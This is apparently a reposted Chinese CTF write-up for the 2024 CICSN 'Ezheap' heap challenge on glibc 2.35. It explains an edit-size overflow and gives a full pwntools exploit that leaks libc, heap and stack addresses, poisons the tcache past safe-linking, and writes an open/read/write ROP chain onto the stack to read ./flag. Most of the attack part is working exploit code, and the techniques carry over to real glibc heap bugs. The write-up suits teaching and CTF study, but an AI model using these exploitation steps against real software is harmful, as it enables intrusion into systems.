2024 cicsn Ezheap

2024-06-01 21:36
文章标签 2024 ezheap cicsn

本文主要是介绍2024 cicsn Ezheap,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 检查 libc2.35
  • 利用
    • add
    • dele
    • edit
    • show
  • 思路
  • exp
  • 结果

检查 libc2.35

在这里插入图片描述

在这里插入图片描述

利用

add

0x80个chunk,遍历选一个没有被用的,输入的size<0x501,然后malloc后会清零安装输入的size,然后输入内容,长度也是输入的size

dele

指定索引,并判断是否存在,然后free和清零

edit

指定索引,并判断是否存在,然后输入size<0x501,再往索引对应的chunk输入size长度内容,这里存在越界读

show

指定索引,并判断是否存在,然后输出索引的chunk内容

思路

堆题开启沙盒会出现一堆被malloc和free的堆,要着重过滤下

static uintptr_t tcache_key;/* The value of tcache_key does not really have to be a cryptographicallysecure random number.  It only needs to be arbitrary enough so that it doesnot collide with values present in applications.  If a collision does happenconsistently enough, it could cause a degradation in performance since theentire list is checked to check if the block indeed has been freed thesecond time.  The odds of this happening are exceedingly low though, about 1in 2^wordsize.  There is probably a higher chance of the performancedegradation being due to a double free where the first free happened in adifferent thread; that's a case this check does not cover.  */
static void
tcache_key_initialize (void)
{if (__getrandom (&tcache_key, sizeof(tcache_key), GRND_NONBLOCK)!= sizeof (tcache_key)){tcache_key = random_bits ();
#if __WORDSIZE == 64tcache_key = (tcache_key << 32) | random_bits ();
#endif}
}tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache_key;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
  1. 存在溢出,而且没有上界,先布置三个chunk,第二个chunk大小在largebin范围内,用作后面溢出修改chunk结构用和泄露libc地址
  2. free第二个chunk,然后溢出填充,使得show第一个chunk可以泄露第二个chunk内容,从而得到libc地址
  3. 溢出修改回来第二个chunk的头,然后malloc回来第二个chunk,然后溢出修改第二个chunk布局(分成两个chunk),为靠近第一个chunk的size在tcachebin范围内,然后再次free第二个chunk,然后溢出填充,使得show第一个chunk可以泄露第二个chunk内容,从而得到heap地址,这里next指针就是这个chunk的next部分的地址右移12位和原来该位置存储的堆地址异或,但原来原来该位置存储的堆地址为零,所以就是这个chunk的next部分的地址右移12位,然后泄露heap地址
  4. 然后再溢出修改第二个chunk的头,再把第二个chunk申请回来,然后再溢出修改为第二个chunk为两个chukn布局,选择一个size在tcache已经存在的chunk大小作为靠近第一个chunk的部分,然后free第二个chunk
  5. 然后溢出填充第二个chunk的fd部分为environ的libc上的地址,然后malloc两次,然后将第二次得到chunk 使用show就可以泄露stack地址,然后计算得到当前函数结束的返回地址在栈上的地址
  6. 然后再溢出修改第二个chunk的布局,使得靠近第一个chunk的部分的size能够容纳orw的rop链,然后free掉和靠近第一个chunk的部分的size一样的chunk到tcache中去(可以是最开始的第三个chunk,也可以malloc一个再free),然后再free第二个chunk
  7. 然后溢出修改第二个chunk的fd为返回地址在栈上的地址,然后malloc两次,第二次修改栈上返回地址相关部分
    具体细节看下面exp

exp

from pwn import *context(log_level='debug',arch='amd64',os='linux')
r=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc.so.6')def add_chunk(size,content):r.sendlineafter('>> ',b'1')r.sendlineafter(':',str(size))r.sendafter('content:',content)
def edit_chunk(id,size,content):r.sendlineafter('>> ',b'3')r.sendlineafter(':',str(id))r.sendlineafter(':',str(size))r.sendafter('content:',content)
def show_chunk(id):r.sendlineafter('>> ',b'4')r.sendlineafter(':',str(id))
def free_chunk(id):r.sendlineafter('>> ',b'2')r.sendlineafter(':\n',str(id))
add_chunk(0x1f8,'123')
add_chunk(0x4f0,'123')
add_chunk(0x1f8,'123')
free_chunk(1)
edit_chunk(0,0x200,'a'*0x200)
show_chunk(0)r.recv(0x208)
addr=u64(r.recv(6).ljust(8,b"\x00"))
success("addr------------------------->"+str(hex(addr)))
libc_base=addr-0x21ace0
success('libc_base----------------->'+hex(libc_base))
libc.address=libc_base
bin_sh_addr=next(libc.search(b'/bin/sh\x00'))
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
success("free_hook_addr-------------->"+str(hex(free_hook_addr)))edit_chunk(0,0x200,b'a'*0x1f8+p64(0x501)) #之前为了泄漏libc地址被覆盖了,现在改回去
add_chunk(0x4f0,'123')
edit_chunk(0,0x340,b'a'*0x1f8+p64(0x101)+b'\x00'*0xf8+p64(0x401))
#prev_inuse位为1不会检查presize
#先放到fastbin和tcacahe的chunk也不会修改后面的chunk的prev_inuse和prevsize
# 原来的0x500堆块分成两部分,前一个大小使得其free后进入bin中fd指向一个堆free_chunk(1)edit_chunk(0,0x200,b'a'*0x200)
show_chunk(0)
r.recvuntil(b'a'*0x200)
heap_base=u64(r.recv(5)+b'\x00\x00\x00')<<12
success('heap_base---------------->'+hex(heap_base))add_chunk(0xf0,'123')
#再申请回来
edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64(0)+b'\x00'*0x10+p64(0x4e1))    
#修改为0x21的chunk和0x4e1的chunk
add_chunk(0x10,'123')
free_chunk(1)edit_chunk(0,0x240,b'a'*0x1f8+p64(0x21)+p64((heap_base>>12)^(libc.sym['environ']-0x10))+b'\x00'*0x10+p64(0x4e1))    
#写next指针
add_chunk(0x10,'123')
add_chunk(0x10,b"a"*0x10)#直接得到environ为数据部分的话增加chunk做不到不发发送内容
#得到environ环境变量libc地址为chunk地址的堆块
show_chunk(4)
r.recv(0x18)
stack_addr=u64(r.recv(6).ljust(8,b"\x00"))-0x170#要修改的栈的起始地址,发现该地址没有对齐,所以后面作为fd时候,分配到的地址会减去8,正好可以先填./flag
success("stack_addr------------>"+str(hex(stack_addr)))
p1=b'./flag\x00\x00'pop_rax_ret=next(libc.search(asm('pop rax;ret')))
pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))
pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))
pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))
syscall_ret=next(libc.search(asm('syscall;ret')))p1+=p64(pop_rdi_ret)+p64(stack_addr-0x8)
p1+=p64(pop_rsi_ret)+p64(0)
p1+=p64(pop_rax_ret)+p64(2)
p1+=p64(syscall_ret)
#open
p1+=p64(pop_rax_ret)+p64(0)
p1+=p64(pop_rdi_ret)+p64(3)
p1+=p64(pop_rdx_ret)+p64(0x30)*2 #合适的pop需要pop两次
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x100)
p1+=p64(syscall_ret)
#read
p1+=p64(pop_rax_ret)+p64(1)
p1+=p64(pop_rdi_ret)+p64(1)
p1+=p64(pop_rsi_ret)+p64(stack_addr-0x100)
p1+=p64(syscall_ret)
#write
success("payload------------------------->"+hex(len(p1)))
edit_chunk(0,0x500,b'a'*0x1f8+p64(0x201)+p64(0)+b'\x00'*0x1f0+p64(0x301))
#再次将0x500分为0x2000x300
free_chunk(2) 
#也是凑够tcache两个chunk
free_chunk(1)edit_chunk(0,0x500,b'a'*0x1f8+p64(0x201)+p64((heap_base>>12)^(stack_addr-0x8))+b'\x00'*0x1f0+p64(0x301))
#修改为fd为栈上的地址
add_chunk(0x1f0,'123')gdb.attach(r)
pause()add_chunk(0x1f0,p1)#布置ropr.interactive()

结果

在这里插入图片描述

这篇关于2024 cicsn Ezheap的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1022178

相关文章

Python基于火山引擎豆包大模型搭建QQ机器人详细教程(2024年最新)

《Python基于火山引擎豆包大模型搭建QQ机器人详细教程(2024年最新)》:本文主要介绍Python基于火山引擎豆包大模型搭建QQ机器人详细的相关资料,包括开通模型、配置APIKEY鉴权和SD... 目录豆包大模型概述开通模型付费安装 SDK 环境配置 API KEY 鉴权Ark 模型接口Prompt

2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题是由安全生产模拟考试一点通提供,流动式起重机司机证模拟考试题库是根据流动式起重机司机最新版教材,流动式起重机司机大纲整理而成(含2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题参考答案和部分工种参考解析),掌握本资料和学校方法,考试容易。流动式起重机司机考试技

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

2024/9/8 c++ smart

1.通过自己编写的class来实现unique_ptr指针的功能 #include <iostream> using namespace std; template<class T> class unique_ptr { public:         //无参构造函数         unique_ptr();         //有参构造函数         unique_ptr(

论文翻译:arxiv-2024 Benchmark Data Contamination of Large Language Models: A Survey

Benchmark Data Contamination of Large Language Models: A Survey https://arxiv.org/abs/2406.04244 大规模语言模型的基准数据污染:一项综述 文章目录 大规模语言模型的基准数据污染:一项综述摘要1 引言 摘要 大规模语言模型(LLMs),如GPT-4、Claude-3和Gemini的快

免费也能高质量!2024年免费录屏软件深度对比评测

我公司因为客户覆盖面广的原因经常会开远程会议,有时候说的内容比较广需要引用多份的数据,我记录起来有一定难度,所以一般都用录屏工具来记录会议内容。这次我们来一起探索有什么免费录屏工具可以提高我们的工作效率吧。 1.福晰录屏大师 链接直达:https://www.foxitsoftware.cn/REC/  录屏软件录屏功能就是本职,这款录屏工具在录屏模式上提供了多种选项,可以选择屏幕录制、窗口

论文翻译:ICLR-2024 PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS

PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS https://openreview.net/forum?id=KS8mIvetg2 验证测试集污染在黑盒语言模型中 文章目录 验证测试集污染在黑盒语言模型中摘要1 引言 摘要 大型语言模型是在大量互联网数据上训练的,这引发了人们的担忧和猜测,即它们可能已

轻松录制每一刻:探索2024年免费高清录屏应用

你不会还在用一些社交工具来录屏吧?现在的市面上有不少免费录屏的软件了。别看如软件是免费的,它的功能比起社交工具的录屏功能来说全面的多。这次我就分享几款我用过的录屏工具。 1.福晰录屏大师 链接直达:https://www.foxitsoftware.cn/REC/  这个软件的操作方式非常简单,打开软件之后从界面设计就能看出来这个软件操作的便捷性。界面的设计简单明了基本一打眼你就会轻松驾驭啦